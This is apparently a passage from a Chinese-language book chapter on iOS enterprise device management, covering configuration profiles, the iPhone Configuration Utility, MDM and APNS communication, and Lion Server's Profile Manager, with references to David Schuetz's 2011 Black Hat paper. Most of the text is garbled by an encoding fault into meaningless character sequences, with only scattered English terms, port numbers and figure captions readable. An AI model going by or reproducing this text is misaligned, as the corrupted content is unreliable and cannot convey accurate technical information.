᤯ၸ᝹Ꮅ֖ྱѾ᝹ᎵᤈᛠᦠᎵǌܷ Name὇ՏሥὈǋIdentifier὇ಕខቿὈǋOrganization὇ጷڙःឞࠑ

ጺὈ֖Description὇ଠᤗὈߙൿ˖܌ЙᄰःζোὋ̯Ꮺᆷ߿᜵˝̎גၸਖ਼ᄉ᝹ܫ߶ᜈឞᦠᎵଠᤗ

஠͇ǌ 
ឞ᭦౛˖ᄉԲʶᮉ᧗᜵᝹Ꮅ௦Security὇߶КবὈ᝹ᎵὋ߱߿˦˿ឞଠᤗ஠͇ᑞՠᜁሧᬓǌ

థ3ሗ᝹ᎵᤤસὋѫѾ௦Always὇঳௦ὈǋAuthorization὇᧜߿Ὀ֖Never὇බʿὈǌݟ౦࠱Ф᝹Ꮅ

˝AuthorizationὋᥦ˥Եథၸਖ਼ᣤЙᦠᎵ᣾ᄉþ᧜ࠚ߿ᆉÿ˧ՐឞᦠᎵଠᤗ஠͇੥ԺᜁሧᬓǌᏪ

ʼሧᬓឞᦠᎵଠᤗ஠͇ǌ̯ܫԺᑞ௃ก̯Ф᝹ࡂ౦ઁឞᤤᮉ᝹Ꮅ˝NeverὋၸਖ਼ݟ iOSၸਖ਼ႌ᭦ሧ

ᬓᦠᎵଠᤗ஠͇ᄉ׬ʶழय௦Ὑ੩धiOS˖ᄉSettings὇᝹ᎵὈःၸὋᤤસGeneral὇᤯ၸὈߔᖜӬὋ

ཨՐཁѣReset὇ᤆԓὈߔᖜӬὋࣲᤤસErase All Content὇ખ૿੝థЮ֖ࠓ᝹ᎵὈ૊ᨍὋ̯Ꮺ࠱

᝹ܬুܫҁѢԇ࿃খǌ߱੯ᛠᄉୱͺ᭣࣡ዜͪ̅ၸਖ਼᤯᣾iCloudᄉþಉ੼ੇᄉiPhoneÿԦᤞὋ੊

௦͌ˉክူտ᤯᣾ҮখՎ൥὇ActiveSyncὈ੊ሧҮ᝹ܫክူԦᤞᄉᤉር୺ᬓ̽֐ǌ᝭ͰὋᥦ̎ᅻ

ខ˗ࠜᄉၸਖ਼ᤆԺ̾˝᝹ܫᡔ࿜Ὃࣲ ̯ऄࡎ஠͇ጆፑᄯଋѺᬓᦠᎵଠᤗ஠͇Ὃ̯ Ꮺु҃ሧᬓឞ஠

͇ǌൗសጹ˿ᝌˀ஠͇ጆፑ˖ᦠᎵଠᤗ஠͇థСᄉЮࠓὋឯԟᏥDavid Schuetzᄉ2011ᳫܷࣤ͗ᄆ

ᄔ˹þThe iOS MDM Protocolÿǌŀ 

üüüüüüüüüü�
Ŀ ൤ܪᄉ˖஠ដՏ۲̅iPhoneᦠᎵࠃၸࢹХ3.6.1˖஠ྟǌúúដᏧซ 
ŀ ស᜸http://media.blackhat.com/bh-us-11/Schuetz/BH_US_11_Schuetz_InsideAppleMDM_WP.pdfǌúúដᏧซ 
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�1-2ڎ ѸतᦠᎵଠᤗ஠͇ 

ဗڙὋੇ͂ࡂԺ̾˝ឞଠᤗ஠͇ѸतᦠᎵథ஌ᣑᕲ˿ǌឯཁѣConfiguration Profile὇ᦠᎵଠ

ᤗ஠͇Ὀ᭦౛ࢺΞᄉPasscode὇ࠚᆉὈᤤᮉǌᤇಧὋ;ࡂԺ̾ڙԾΞ᭦౛˖੩धԺၸᄉࠚᆉ᝹ᎵὋ

ࣲ᝹Ꮅտࢹॸᮋ᝹߿ᄉǋˀ੝᜵᝺᫇ஜ૵ᄉγࠚርऎᄰॆᄉࠚᆉǌ2-2ڎ˖ᄉΒࡘߔᇧ˿˝Ժᑞ

ၸ̅ߚϱ੊᝺᫇͌ˉஏਕஜ૵ᄉiOS᝹ܫ଍ᕚᄉ᝹Ꮅǌ 
ѽၸiPhoneᦠᎵࠃၸࢹХՓ᝹ܫѫԦᦠᎵଠᤗ஠͇ᄉழयథܲሗὋၸਖ਼Ժ̾᤯᣾USBᤋଋ߶

ᜈᦠᎵଠᤗ஠͇ǋ̾ᬃ्͇यၸႂߔᥪ͇࠱ФԦᤞፋၸਖ਼Ὃ੊௦࠱ଠᤗ஠͇࠭Ѣ˝ԺߚஉڙWeb
నҫ٧ʼᄉ.mobileconfig஠͇ǌᤇ᧖ੇ͂ၸᄉ௦ణኤӬᄉଠᤗ஠͇߶ᜈழกὙЎၸUSBஜ૵ጲઁ

iOS᝹ܫᄯଋᤋଋҁMac఺ʼὋཨՐ߶ᜈளᄉᦠᎵଠᤗ஠͇ǌ 
2. ᅝ㺙䜡㕂ᦣ䗄᭛ӊ 
ХΞ᣷ಜ˖ᄉࢹၸࠃiPhoneᦠᎵڙᤋଋҁMac఺˧ՐὋ߱͗ѢဗܫiOS᝹࠱ၸUSBᤋଋጲڙ

Devices὇᝹ܫὈ్ᄫʽὋ3-2ڎݟ੝ᇧǌཁѣConfiguration Profile὇ᦠᎵଠᤗ஠͇ὈᤤᮉӴὋᤇௐ

ʼᄉܫల߶ᜈҁឞ᝹࠺ХѸतͭࢹၸࠃፂ߶ᜈᄉଠᤗ஠͇Ὃ̾ԢiPhoneᦠᎵࣂʼܫԺᄹҁឞ᝹ࡂ

ᦠᎵଠᤗ஠͇ǌ࠺ڙల߶ᜈᄉᦠᎵଠᤗ஠͇ԾΞథʶ˓Install὇߶ᜈὈ૊ᨍǌཁѣѷѸतᄉᥦ˓

ᦠᎵଠᤗ஠͇ԾΞᄉþ߶ᜈÿ૊ᨍὋ߱ઁ͗ࡂ߶ᜈҁᤋଋᄉiOS᝹ܫʼǌᤇಧឞiOS᝹ܫʼ͗Ѣဗ

 4੝ᇧᄉᦠᎵଠᤗ஠͇߶ᜈᆷᝢႌ᭦ǌ-2ڎݟ
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�2-2ڎ ᦠᎵþࠚᆉÿథ஌ᣑᕲ 

 

�3-2ڎ ᤯᣾USBᤋଋ߶ᜈᦠᎵଠᤗ஠͇ 

ᇧ˿ᦠᎵଠᤗ஠͇˖ᄉ۲ఴζোὋѴѢ˿Ф˖ӉդᄉᦠᎵథ஌ᣑᕲǌࡘ4੝ᇧᄉᆷᝢႌ᭦-2ڎ

ឞଠᤗ஠͇ʼࣛథ፮ᓣᄉVerified὇ࣂᰍ᝼ὈಕংὋᤇ௦ځ˝iPhoneᦠᎵࠃၸࢹХ͗ᒬҮ˝ᒬࣁѸ

तᒬኣՏᄉX.509಩CA᝼˹Ὃ߱͗΍ၸឞ಩CA᝼˹˝᤯᣾USBᤋଋᄉՉ᝹ܫѸतኣՏ᝼˹ǌᤇ

̎ࠪःՉ᝹ܫᄉ᝼˹͗ᜁiPhoneᦠᎵࠃၸࢹХၸ̅˝Ԧᤞፋᄰः᝹ܫᄉᦠᎵଠᤗ஠͇ኣՏ֖Ҫ
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1 

2 
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ᥪ͇੊WebԦᤞߔԺ̾ᰍ᝼᤯᣾USBᤋଋǋႂܫ൤᝹ځፂᒬҮ߶ᜈ˿ឞ᝼˹Ὃࣂʼܫǌၿ̅᝹ࠚ

Ꮺ౎ᄉᦠᎵଠᤗ஠͇ᄉᄽࠃবǌ 

 

�4-2ڎ ᦠᎵଠᤗ஠͇߶ᜈᆷᝢႌ᭦ 

5੝ᇧᄉႌ᭦ǌၸਖ਼Ժ̾᤯-2ڎݟᄹҁ͗ࡂ౦;ᝎѣMore Details὇ఝܲសጹζোὈᤤᮉὋݟ

᣾ឞႌ᭦ಉᄹၸ౎˝ᦠᎵଠᤗ஠͇ኣՏᄉ᝼˹Ὃࣲ ѴѢˀឞ஠͇˖ӉդᄉᦠᎵథ஌ᣑᕲథСᄉఝ

ܲសৰǌ 

 

�5-2ڎ ᦠᎵଠᤗ஠͇សৰႌ᭦ 
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ʼὋឯᝎѣþ߶ᜈÿ૊ᨍὋଋᅋ;͗ᄹܫᦠᎵଠᤗ஠͇߶ᜈҁiOS᝹࠱ҁ˧ґᄉႌ᭦Ὃ᜵ٿ

ҁ6-2ڎݟ੝ᇧᄉᆷᝢࠪពಳǌ 

 

�6-2ڎ ᦠᎵଠᤗ஠͇߶ᜈᆷᝢ 

ఽऎ᜵යὋ߶ᜈឞᦠܬᆉʿ໗ᡛᦠᎵଠᤗ஠͇˖ᄉࠚᄉڙߚࣂᆉὋ੊ࠚలᜁ᝹Ꮅ࠺ܫ౦᝹ݟ

Ꮅଠᤗ஠͇҃ु͗ࡂၸਖ਼በԀ᝹ᎵளࠚᆉὋ7-2ڎݟ੝ᇧǌซ਒Ὃଠᤗࠚᆉुऎ᜵යᄉૈᇧˀᦠ

Ꮅଠᤗ஠͇˖ᄉ᝹Ꮅ௦ᄰ֏ःᄉǌ 

 

�7-2ڎ በԀଡᇧѸतளࠚᆉ 
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੆ҩ߶ᜈǌᦠᎵଠࣂឞଠᤗ஠͇߿8੝ᇧᄉႌ᭦Ὃᆷ-2ڎݟᆉ˧ՐὋःឞ͗ᄹҁࠚ˿᝹Ꮅڙ

ᤗ஠͇˖ૈ߿ᄉ᝹Ꮅဗڙ˶ःឞၶ஌˿ǌ᜵ᰍ᝼ᤇʶཁὋԺ̾ڙþ᝹ᎵÿःၸᄉGeneral὇᤯ၸὈ

ᖜӬ˖ᤈЙPasscode Lock὇ࠚᆉᩙ߿Ὀᤤᮉႌ᭦Ὃ9-2ڎݟ੝ᇧǌൣࠑܷݟ੝ᄹҁᄉὋ౼̎ᤤᮉ

 Ԫ༥ᄉ࿃খǌ̅ܪᜁଠᤗ஠͇ሄၸࣲࣂ

  

�8-2ڎ ᆷᝢᦠᎵଠᤗ஠͇ࣂ߶ᜈ 9-2ڎ�  ႌ᭦߿ᆉᩙࠚᇧឞᦠᎵଠᤗ஠͇ͺၸᄉࡘ

3. ᳈ᮄᦣ䗄᭛ӊ 
iPhoneᦠᎵࠃၸࢹХ͗˝ᤋଋҁᤁᛠឞࢹХᄉMac఺ʼᄉඇʶԻiOS᝹ܫᒬҮѸत֖߶ᜈ᝼

˹ǌڙ˝ځᤁᛠiPhoneᦠᎵࠃၸࢹХᄉ᝟ኪ఺ˀሧҮ᝹ࣂᫍ˧ܫፂڙߚ߶Кζ͉СጆὋ੝̾ᤇಧ

ᜈᄉᦠᎵଠᤗ஠͇థᅋᄰ߶ࣂ౦᜵߶ᜈᄉᦠᎵଠᤗ஠͇ˀݟఝளǌڠ΍ᦠᎵଠᤗ஠͇Ժ̾߶Кࡂ

ՎᄉಕខቿὋᏪ˄˝ளଠᤗ஠͇ኣՏˀ˝ဗథଠᤗ஠͇ኣՏ੝΍ၸᄉ᝼˹ᦏᄰՎὋ߱ ఢ૰ဗ͗ࡂ

థᄉᦠᎵଠᤗ஠͇ǌ 
ᤁᛠiPhoneᦠᎵࠃၸࢹХᄉ᝟ኪ఺ˀ᤯᣾USBஜ૵ጲᤋଋҁឞ᝟ኪ఺ᄉiOS᝹۲ڙߚᫍ˧ܫ

̅᝼˹ᄉ߶КᦠࠪὋᤇሗᦠࠪᝧၸਖ਼Ժ̾ᄯଋ᤯᣾USBᤋଋ߶ᜈѹݼᄉᦠᎵଠᤗ஠͇Ὃࣲ᤯᣾ႂ

ኣՏᄉᦠᎵଠᤗ஠͇ǌԵ᜵᤯᣾۱ᝪᝧၸਖ਼ᆷγԦࣂ˄ࠚҪࣂԦᤞఝள᣾ᄉڠᥪ͇੊Web߶Кߔ

ᤞᄉଠᤗ஠͇ڙ߶ᜈႌ᭦ʼᦏХథ፮ᓣᄉþࣂᰍ᝼ÿಕ᝭Ὃఝளଠᤗ஠͇͗ࡂ௄߶КԠᄴௐǌ 

4. ⿏䰸ᦣ䗄᭛ӊ 
੩धiOS˖ᄉþ᝹ᎵÿःၸὋᤤસþ᤯ၸÿߔᖜӬὋвᤤસþଠᤗ஠͇ÿߔᖜӬὋࡂԺ̯̾

˖ሧᬓᦠᎵଠᤗ஠͇˿ǌ᤯࣡ৰхʽὋឞႌ᭦10-2ڎݟ੝ᇧǌܷࠑԺ̾ᝎѣRemove὇ሧᡋὈ૊ᨍ

ሧᬓଠᤗ஠͇ǌ 
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�10-2ڎ ଠᤗ஠͇សৰႌ᭦ 

ʿ᣾ឯ᝭ͰὋᤇ̎ᦠᎵଠᤗ஠͇˶Ժ̾ᦠᎵ੆ԵథڙᣤЙ᧜ࠚ߿ᆉᄉৰхʽ੥Ժᜁሧᬓ੊௦

߸КʿԺᜁሧᬓǌݟ౦˝ଠᤗ஠͇ᦠᎵ˿ሧᬓࠚᆉὋၸਖ਼ࡂ᜵ᣤЙឞሧᬓࠚᆉὋ11-2ڎݟ੝ᇧǌ

Ꮺݟ౦ଠᤗ஠͇ʿԺᜁሧᬓὋᥦ˥ၸਖ਼ڙþଠᤗ஠͇ÿសጹζোႌ᭦˖ࡂ಩ఴʿ͗ᄹҁþሧᡋÿ

૊ᨍǌ 

 

�11-2ڎ ሧᬓԩγએᄉଠᤗ஠͇ 
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5. ᑨ⫼੠䜡㕂ὖ㽕᭛ӊ 
iPhoneᦠᎵࠃၸࢹХᤆԺၸ౎ڙiOS᝹ܫʼ߶ᜈःၸ֖ᦠᎵഏ᜵஠ ὇͇provisioning profileὈǌ

ᭉ᜵ᔰ౦МՂ˝ឞःၸᄉधԦᏧኣԦࡂᄉःၸὋ҃߿ʼᤁᛠܫiOS᝹ڙ᜵ᅻ᥊ᄉ௦Ὃ᜵ڙဗࠑܷ

ᄉᦠᎵഏ᜵஠͇ǌᤇ̎ᦠᎵഏ᜵஠͇Ժ̾௦ᭉ᜵Ӭ࿗߶ᜈᄉὋ˶Ժ̾௦ˀःၸ૤ፄڙʶᡐѫ 
Ԧᄉǌ 

2.2�  ⧛䆒໛ㅵࡼ⿏

iPhoneᦠᎵࠃၸࢹХԺၸ̅ࠪiOS᝹ܫᤈᛠ۲ఴᄉ͌ˉጞክူὋʿ᣾߱௬ཨʿ᤟ၸ̅ክူܷ

᧙᝹ܫǌࠪ ̅ᭉ᜵ክူఝܲ᝹ܫᄉ͌ˉ౎ឬὋᔰ౦МՂࣂፂڙiOS˖ࠃဗ˿MDM὇ሧҮ᝹ܫክူὈ

ҩᑞὋ΍ᤇ̎͌ˉ߸КԺ̾ᤉርክူᤇ̎᝹ܫǌ 
ᔰ౦МՂՓኃʻழΘः׷Ԧ࣊˿̴͂ᄉMDM APIὋᏪࣉ᭦ʼڙߚᅋܷ᧙ኃʻழሧҮ᝹ܫክ

ᄉMDMᝌфழ಴Profile Manager὇ଠᤗ஠͇ክࣁLion Server˖ଡΘ˿ᒬڙ˶ǌᔰ౦МՂ׷ֵ̖ူ

ူ٧ὈὋឞనҫᬓ˿Ժ̾˝ၸਖ਼ክူiOS᝹ܫᄉ᝹ᎵὋᤆԺ̾ክူᤁᛠMac OS Xᄉ᝟ኪ఺ᄉ᝹Ꮅǌ

Profiler Manager௦᤟ၸ̅ۋ࠴ጷጺ੊ࢹͺጷᄉኤӬMDMᝌфழ಴ǌݟ౦᜵ክူܷ᧙᝹ܫ੊ᭉ᜵

ఝܲҩᑞὋੇ͂ःឞᤤસʶሗஂ૆iOS᝹ܫᄉ׷ˉMDMᝌфழ಴ǌ 

2.2.1� MDM 㔥㒰䗮ֵ 

ǋၸਖ਼੝ܫၸਖ਼ᄉiOS᝹ڙ12੝ᇧὈὋᎩፎ᤯ζ௦-2ڎݟᔰ౦МՂᄉMDMͳጆፆౝ˖὇ڙ

˓ጷጺᄉMDMనҫ٧֖APNS὇Apple’s Push Notification ServiceὋᔰ౦଍ᤞ᤯ᅻనҫὈᤇʻڙ

ˀܫᄉ଍ᤞ᤯ᅻὋв᤯᣾ឞ᝹ܫ᝹߿ͳᫍᤈᛠᄉǌMDMనҫ٧͗ˀAPNS᤯ζὋԦ࣊ҁૈࠃ

APNSᄉ૆ˣᤋଋ߸੆଍ᤞǌiOS᝹ڙܫଋஅҁ଍ᤞ᤯ᅻௐ͗ࡂˀᦠᎵ᣾ᄉMDMనҫ٧ᄯଋत

በᤋଋǌ 

 
�12-2ڎ MDMᎩፎ᤯ζ 
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iOS᝹ܫఴᢵˀͮ̅courier.push.apple.comᄉ౼ʶAPNSζ΍నҫ٧γ૆ᅋ૆ˣᤋଋὋФ˖

APNSζ΍నҫ٧௦੝థiOS଍ᤞ᤯ᅻᦏ᜵΍ၸᄉᬶ˖᤯ζ᤯᥊ǌᤇʶҁTCP 5223ቪԯᄉᤋଋ௦ѽ

ၸࠆਖ਼ቪ᝼˹ᰍ᝼ᢵ͊ᄉTLSतበᄉὋᏪ˄΍ၸᄉ௦XMPPӨᝫǌࣛథᚃቖஜ૵ᤋଋᄉiPhone֖
iPadԺ̾᤯᣾ᚃቖᎩፎतበឞᤋଋὋᏪФ̴ሧҮiOS᝹ܫԵథڙᤋଋҁWi-FiᎩፎௐ੥ᑞतበឞᤋ

ଋǌXMPPӨᝫ௦˝JabberԀௐ๖োጆፑ᝹᝟ᄉὋʿ᣾ឞӨᝫᄰॆ༦าὋ᤟ၸ͉̅ʹᭉ᜵ڙጲ࿃

খ᤯ᅻ̾Ԣ΍ၸþԦ࣊/ᝠ᫝ÿ๖োѫԦഴۋᄉጆፑǌiOS᝹͗ܫ᤯ᅻᔰ౦ᄉAPNSనҫ٧᜵ᝠ᫝

ǌᏪࠪ̅MDM౎ឬὋܫὋᤇ̎APNSనҫ٧͗ઁԦ࣊ҁᤇ̎˞ᮤʽᄉ๖োᡸၿҁᝠ᫝᝹ᮤ˞̎ג

ԩክူᄉࠆਖ਼ቪ᝹͗ܫᜁᦠᎵ੆ᝠ᫝ˀክူឞ᝹ܫᄉMDMࠪःᄉ׬ʶ˞ᮤǌ 
ࠃᥦಧὋMDMనҫ٧ᄉᛠ˝ዜͪ̅ኃʻழःၸधԦᏧ˝̴͂ᄉiOSःၸ׷Ϸ଍ᤞ᤯ᅻଡΘࡂ

ဗ଍ᤞ᤯ᅻᄉழयǌڙᤇሗৰхʽὋMDMనҫ٧͗ᤋଋҁͮ̅gateway.push.apple.comᄉᔰ౦М

ՂAPNSᎩСనҫ٧ǌឞᤋଋ˶۲̅ѽၸࠆਖ਼ቪ᝼˹ᤈᛠᢵ͊ᰍ᝼ᄉTLSὋԵʿ᣾߱௦ᤋଋҁTCP 
2195ቪԯᄉǌ଍ᤞ᤯ᅻ௦JSONಪयᄉὋࣲ˄͗᤯᣾҃߿ᄉ̃ᤈ҃ᎩፎӨᝫԦᤞҁᔰ౦МՂᄉ

APNSనҫ٧ǌ଍ᤞ᤯ᅻଡΘڙ͗˶׷TCP 2196ቪԯʼतበ᤯Փᔰ౦МՂAPNSనҫ٧ᄉዜͪᤋ

ଋὋʿ᣾ᤇ௦ၸ̅ԥᯟనҫᄉǌᔰ౦МՂࣲʿγ᝼ᤇ̎నҫᦏγ૆ڙʶ˓௄߿ᄉIPߔᎩ˖Ὃ੝̾

߱तᝫ᫸༡ܖክူտஉधҁᔰ౦МՂ઴థᄉஞ˓17.0.0.0/8ቆᫍᄉѢቢ᝺᫇ǌ᜵˿ᝌఝܲˀᤇ̎᤯

ζథСᄉХͳζোὋឯڙiOS Developer Library˖ԟᏥᔰ౦МՂᄉþLocal and Push Notification 
Programming Guideÿ὇ఴ֖ڠ଍ᤞ᤯ᅻᎃርૈӮὈǌ 

ణՐὋMDMనҫ٧͗᤯᣾HTTPSଡΘMDM APIǌॆiOS᝹ܫଋஅҁMDM଍ᤞ᤯ᅻௐὋ߱ࡂ

͗ᐎጆˀซб᝹ܫௐᦠᎵᄉURLࠪःᄉMDMనҫ٧ὋࣲᄯଋՓឞMDMనҫ٧ಉល੝Ԧᤞᄉ֐

̽ǌ᧪ࠪᤇʶ̽֐ᄉֽः͗᤯᣾HTTPSԦᤞٿᤇԻMDMనҫ٧ǌMDMనҫ٧Ժᑞ͗ڙTCP 1640
ቪԯʼଡΘ۲̅HTTPᄉSCEP὇Simple Certificate Enrollment ProtocolὋኤӬ᝼˹ซбӨᝫὈనҫ

٧ǌʿ᣾ὋMDM APIᄉӨᝫࡎጹᓫʿڙఴብ̭ፀᔴډ˧Юǌ᜵˿ᝌఝܲˀ˧ᄰСᄉζোὋឯԟ

ᏥDavid Schuetz2011ࣱڙᳫܷࣤ͗ʼ੝ͺᄉ໥ឬþInside Apple’s MDM Black BoxÿĿǌ 

2.2.2� Lion Server ᦣ䗄᭛ӊㅵ⧚఼ 

Lion Serverᄉଠᤗ஠͇ክူ٧௦ʶሗԺͺ˝MDM APIనҫ٧֖ክူଌ҃Ի΍ၸᄉ

Ruby-on-Rails Webःၸǌѹݼᄉ߶ᜈ֖ᦠᎵࢹͺᦏ௦᤯᣾Lion ServerःၸᤈᛠᄉὋʿ᣾ڙ߸੆߶

ᜈ˧ՐὋܷܲஜክူ͉ҫᦏ௦ڙၸWebเ᜾٧ᤋଋҁWebःၸଠᤗ஠͇ክူ٧὇Profile ManagerὈ
Րᤈᛠᄉǌ 

ଠᤗ஠͇ክူ٧Ժ̾˝ၸਖ਼ǋၸਖ਼Ꮕጷǋ᝹ܫ੊᝹ܫᏅጷःၸ᝹Ꮅǌᔩ᝹ܫ੝థᏧ઴థOpen 
Directory὇ODὈ᠌ਖ਼Ὃᥦ˥̴͂Ժ̾ᄯଋᄅेҁଠᤗ஠͇ክူ٧WebःၸὋซбࣲክူ̴͂ᄉ᝹

ॸᮋ̝ᒬ˝ၸਖ਼ซбࡂ௦̠ܲРၸᄉὋ੊Ꮷၸਖ਼෤థOD᠌ਖ਼ὋLion Serverክူտܫ౦᝹ݟǌܫ

᝹ܫǌଠᤗ஠͇ክူ٧ஂ૆Տ˝ซбଠᤗ஠͇὇Enrollment ProfileὈᄉྱ൳ଠᤗ஠͇Ὃڙʿᭉ᜵

ၸਖ਼ᄅेଠᤗ஠͇ክူ٧WebःၸᄉৰхʽὋԺ̾Өүซбᭉ᜵ᤉርክူᄉ᝹ܫǌఴብϛ᝹᝹ܫ

üüüüüüüüüü�
Ŀ ԟ᜸https://media.blackhat.com/bh-us-11/Schuetz/BH_US_11_Schuetz_InsideAppleMDM_WP.pdfǌúúដᏧซ 
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੝థᏧ˶઴థLion ServerʼᄉOpen Directory᠌ਖ਼ǌ᜵សጹ˿ᝌซбଠᤗ஠͇ᄉ΍ၸὋឯԟᏥArek 
Dreyer੝ᗂᄉႂߔ˹Managing iOS Devices with OS X Lion Server὇Peachpit PressὈǌ 

1. ᅝ㺙ᦣ䗄᭛ӊㅵ⧚఼ 
᜵߶ᜈଠᤗ஠͇ክူ٧ὋឯᤁᛠServerःၸርࣿὋࣲཁѣΞ᣷ಜ˖ᄉଠᤗ஠͇ክူ٧ǌᤇಧ

ॸᮋᤈᛠࠑըၸᤇʶనҫ˧ґὋܷڙ13੝ᇧǌ-2ڎݟ੩धଠᤗ஠͇ክူ٧ᄉþ᝹Ꮅÿ᭦౛Ὃ࠱;

ʶ̎۲ఴᄉᦠᎵǌᯪЎὋឯཁѣConfigure὇ᦠᎵὈ૊ᨍǌ 

 

�13-2ڎ  Serverःၸርࣿ˖ᦠᎵଠᤗ஠͇ክူ٧నҫڙ

౦෤థઁLion ServerᦠᎵ੆Open Directory὇ODὈmasterὋጆፑ͗ल࠭;߸੆ᤇʶ᣾ርǌݟ

Open Directory master௦ଠᤗ஠͇ክူ٧ၸ౎˝ඇ˓ODၸਖ਼֖ODጷߚϱ᝹ܫ᝹Ꮅᄉǌ߶ᜈ᣾ር͗

ଡᇧၸਖ਼˝OD LDAPనҫ٧ᤈᛠʶ̎۲ఴ᝹ᎵὋཨՐᦠᎵ֖ըၸឞనҫὋ14-2ڎݟ੝ᇧǌ 
ଠᤗ஠͇ክူ٧WebःၸԵᑞ᤯᣾SSL΍ၸǌᆷγˀWebःၸᫍᄉ᤯ζ߶К௦ॡ᧗᜵ᄉὋځ

˝߱௄᜵ၸ̅᝹ᫍܫ᤯ζὋ˶ ᜵ၸ̅ଠᤗ஠͇ክူǌ߶ᜈ᣾ር˖Ὃၸਖ਼ᭉ᜵˝ឞWebనҫᤤၸSSL
᝼˹ǌူਆ࿃খʽὋܷࠑःឞ΍ၸၿԩζ͉ᄉCA੊௦ጷጺᄉЮᦉCAኣԦᄉ߸КՋ˪᜺ᔴᄉSSL 
Webనҫ٧᝼˹ǌݟ౦ጷጺ᜺ഴᣖ࠴Ὃ੊Ꮷ;Ե௦ڙϡ฽ណὋ˶ Ժ̾΍ၸѸतOpen Directory master
ௐ˝నҫ٧ᒬҮѸतᄉ᝼˹ǌ15-2ڎݟ੝ᇧὋឞ᝼˹ᄉኣԦᏧܪ௦ၸਖ਼ᄉనҫ٧˞఺ՏὋࣲ˄௦

ၿၸਖ਼నҫ٧ᄉOpen Directory Intermediate CAኣՏᄉǌ 

���Ԛѫմ�INGS॑ࢲ֣��Ћцߓ୍࣍س�



24� � ኃ 2 ብ� ͌ˉ˖ᄉ iOS 

 

 

�14-2ڎ ѸतOpen Directory master 

 

�15-2ڎ ˝ଠᤗ஠͇ክူ٧WebःၸᤤસSSL᝼˹ 
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ᔩਆˀAPNS὇ᔰ౦଍ᤞ᤯ᅻనҫὈ᤯ζὋଠᤗ஠͇ክူ٧ᭉ᜵ࠆਖ਼ቪ᝼˹౎Փᔰ౦МՂᄉ

నҫ٧ᰍ᝼ᒬࣁᄉᢵ͊ǌݟ౦෤థ࠱నҫ٧ᦠᎵ੆ըၸAPNSὋ߶ᜈ᣾ር̯͗ᔰ౦МՂᄉనҫ٧

ឯයБ᠟ᄉAPNS᝼˹ǌԵ᜵઴థApple IDὋੇ͂ࡂԺڙLion Serverʼᖌ३APNS᝼˹ǌၸਖ਼ʿв

ϷLion ServerԦ࣊˧ґᥦಧᭉ᜵ซбiDEP὇iOS Developer Enterprise ProgramὋiOSधԦᏧ͌ˉ᝟

ѲὈ˿ǌःឞѸत֖΍ၸጷጺᄉApple IDὋᏪʿ௦΍ၸˀ˓̠ᄰСᄉApple IDǌԵథڙ฽ណௐ੥

ᑞ΍ၸ˓̠ᄉApple IDὋࢹͺဖܑ˖Ժʿᑞᤇ˥ϡǌ 
 ጷጺᄉApple IDὋᒬҮѸत֖ʽᣑAPNS᝼˹ǌࣁ16੝ᇧὋੇ͂ᣤЙᒬ-2ڎݟ

 

�16-2ڎ ឯයAPNS᝼˹ 

17੝ᇧᄉႌ᭦Ὃᆷᝢనҫ٧໗ᡛᤁᛠଠᤗ-2ڎݟ౦੆ҩ߸੆˿ʼᤗᦠᎵ൥ᰠὋੇ͂͗ᄹҁݟ

஠͇ክူ٧ᄉ੝థᭉයǌཁѣþ߸੆ÿ૊ᨍ˧ՐὋ͗ࡂᤄٿଠᤗ஠͇ክူ٧ᄉ˞ᦠᎵ᭦౛ǌ 
 ౦ᭉ᜵ఝᰳᄉ߶КবὋᤆःឞըၸᦠᎵଠᤗ஠͇ኣՏǌ˝൤ὋԵᭉᤤ˖Sign Configurationݟ

Profiles὇ኣՏᦠᎵଠᤗ஠͇ὈܬᤤಳὋ18-2ڎݟ੝ᇧǌଋʽ౎Ὃᭉ᜵ᤤસʶ̼͊ᆉኣՏ᝼˹౎˝

ଠᤗ஠͇ኣՏǌݟ౦;ࣂፂ˝ᒬࣁᄉጷጺԨ३˿̼ᆉኣՏ᝼˹὇Ժᑞ௦ၿᔰ౦МՂᄉiOSधԦᏧ

᝟ѲኣԦᄉὈὋᤇ᧖ൣݝᑞีʼၸڣǌՠѶὋ;ᭉ᜵΍ၸၿనҫ٧ᄉOpen Directory Intermediate CA
ኣԦᄉ᝼˹ǌၸၿԩζ͉ᄉᝢ᝼఺ౝኣԦᄉ᝼˹˝ᦠᎵଠᤗ஠͇ኣՏՐὋࡂԺ̾ࣞүၸਖ਼ᰍ᝼̴

 ᜵߶ᜈᄉଠᤗ஠͇௦ՠԺ᭤˿ǌ࠱͂
ဗڙଠᤗ஠͇ክူ٧ःឞࣂፂᦠᎵࣲݝԺΘᤁᛠ˿὇᜸19-2ڎὈǌ᜵ըၸឞనҫὋԵᭉ᜵࠱

ԾʼᝇᄉधСሧҁþONÿᄉͮᎵǌଠᤗ஠͇ክူ٧నҫဗڙःឞࣂፂڙᤁᛠ˿ὋԺ̾᤯᣾ଠᤗ

஠͇ክူ٧Webःၸ౎ѸतᦠᎵଠᤗ஠͇˿ǌ᜵΍ၸଠᤗ஠͇ክူ٧WebःၸὋཁѣଠᤗ஠͇ክ
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ူ٧ᦠᎵ᭦౛ऄᦉᄉOpen Profile Manager὇੩धଠᤗ஠͇ክူ٧Ὀ૊ᨍǌ 

 

�17-2ڎ ߸੆ଠᤗ஠͇ክူ٧ᄉᦠᎵ 

 

�18-2ڎ ᤤસʶ̼͊ᆉኣՏ᝼˹˝ᦠᎵଠᤗ஠͇ኣՏ 
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�19-2ڎ ᦠᎵࣲըၸଠᤗ஠͇ክူ٧ 

2. ߯ᓎ䆒㕂 
ଠᤗ஠͇ክူ٧ᄉᄅेᮅ᭦20-2ڎݟ੝ᇧǌܷ  ᄉLion Serverክူտ᠌Ձᄅेǌࣁःឞ΍ၸᒬࠑ

 

�20-2ڎ ଠᤗ஠͇ክူ٧ᄅेᮅ᭦ 
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21੝ᇧǌଠᤗ஠-2ڎݟክူտᢵ͊ᄅे˧ՐὋ;͗ᄹҁଠᤗ஠͇ክူ٧ᄉ˞࠭ᓇႌ᭦Ὃ̾ڙ

͇ክူ٧ᄉΞ᣷ಜ˖థLibrary֖Activityᤇˏ˓ಜᄫǌݟ౦;Ѹत˿ซбଠᤗ஠͇὇ሮՐᝦ᝶ὈὋ

ѢဗEnrollment Profileಜᄫǌ̟͗ࡂ˖Ξ᣷ಜڙ ᫍᄉ࠭ᓇ᭦౛Ժ̾ᝧ΍ၸᏧᤤસʶ˓ྱ߿ᄉࠃͳὋ

ᏪԾΞᄉþᦠᎵÿ᭦౛ѶԺ̾ᝧ΍ၸᏧ˝ᤤ߿ᄉࠃͳክူᦠᎵଠᤗ஠͇ǌൣࠑܷݟ੝᜸Ὃੇ͂Ժ

